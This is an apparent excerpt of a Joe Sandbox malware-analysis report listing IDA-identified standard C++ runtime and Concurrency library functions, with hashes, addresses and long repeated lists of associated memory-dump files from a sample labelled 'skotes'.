Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 67091ba3a43bf9a7d588eac261f2df8d20bc0bd5184da166b79394992e8c6d46
Instruction ID: a4d71d05d3e12cae4f0cac9860085e9e1e5c752bbe8618d145e928219d794e50
Opcode Fuzzy Hash: 67091ba3a43bf9a7d588eac261f2df8d20bc0bd5184da166b79394992e8c6d46
Instruction Fuzzy Hash: DE2162B1A00219AFDF00EFA9DC85ABEB7B9EF48711F100055FD01B7251DB74AD059BA0

Function 00969C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00969C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00969CE8
std::bad_exception::bad_exception.LIBCMT ref: 00969CFE
std::bad_exception::bad_exception.LIBCMT ref: 00969D6A

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 8a4935cd97754a4093c1cd763d326c928d3dc26ec97ce4afe69a857424a08002
Instruction ID: f6a03745e7b9ef318f4abafd11924befcf8f35711d12e5b43be483197c481101
Opcode Fuzzy Hash: 8a4935cd97754a4093c1cd763d326c928d3dc26ec97ce4afe69a857424a08002
Instruction Fuzzy Hash: 8A21F532901604EFDB05EFA8D892EADB7F8EF45314B204039F005AF2A1DB316E05CB50

Function 0096A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0096A069
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0096A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0096A0CB

Part of subcall function 0096AB41: List.LIBCONCRT ref: 0096AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0096A0DB

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionHardwareProxy::Scheduler$AffinityAffinity::CoreCountCurrentFixedIncrementListResourceResource::
String ID:
API String ID: 4213627143-0
Opcode ID: 2eda3ef3ce83db185aa9befcc54d76a82aee234bee10056f01d7c7809c21c07e
Instruction ID: c65c5eafd445ed3a2a1f8ed24237a1fa565fff9cb506db141bea94f52fd644cb
Opcode Fuzzy Hash: 2eda3ef3ce83db185aa9befcc54d76a82aee234bee10056f01d7c7809c21c07e
Instruction Fuzzy Hash: 3D218732900B149FCB24EF65D9919ABF3F9FF89700700495EE843A7661DB74E905CBA2

Function 00964885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00964893
ListArray.LIBCONCRT ref: 009648A5

Part of subcall function 00965555: _InternalDeleteHelper.LIBCONCRT ref: 00965564

ListArray.LIBCONCRT ref: 009648AF
_InternalDeleteHelper.LIBCONCRT ref: 009648C8

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ee66710abba0176839e6c538df05cb53660d3b2718974f0c8ee59bd846b81be5
Instruction ID: dea8fe62e0bd8db4bb8f199cbf14f484d94461b45eeba5e2730c133c7c231500
Opcode Fuzzy Hash: ee66710abba0176839e6c538df05cb53660d3b2718974f0c8ee59bd846b81be5
Instruction Fuzzy Hash: A301D672601521AFCA25BBA5D88AF6DB76ABFC47107010129F80457612CB20EC6687A0

Function 0096EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0096EE6A
ListArray.LIBCONCRT ref: 0096EE7C

Part of subcall function 0096EF29: _InternalDeleteHelper.LIBCONCRT ref: 0096EF3B

ListArray.LIBCONCRT ref: 0096EE86
_InternalDeleteHelper.LIBCONCRT ref: 0096EE9F

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 8716ce4bb31f7f9d921ca0afc38f03280fdeb42a87f13c06ff5a1c0ed9e2cba9
Instruction ID: 577e4e6737013f9462adeacca1862a27cf5b4bd5947b626d8bcd03395bc3584c
Opcode Fuzzy Hash: 8716ce4bb31f7f9d921ca0afc38f03280fdeb42a87f13c06ff5a1c0ed9e2cba9
Instruction Fuzzy Hash: 5301D636601521AFCA26BB61D8C6F7EBB6ABFC47107000129F80457612CF21EC5697E0

Function 0096D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0096D0C5
ListArray.LIBCONCRT ref: 0096D0D7

Part of subcall function 0096C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0096C6C4

ListArray.LIBCONCRT ref: 0096D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0096D0FA

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
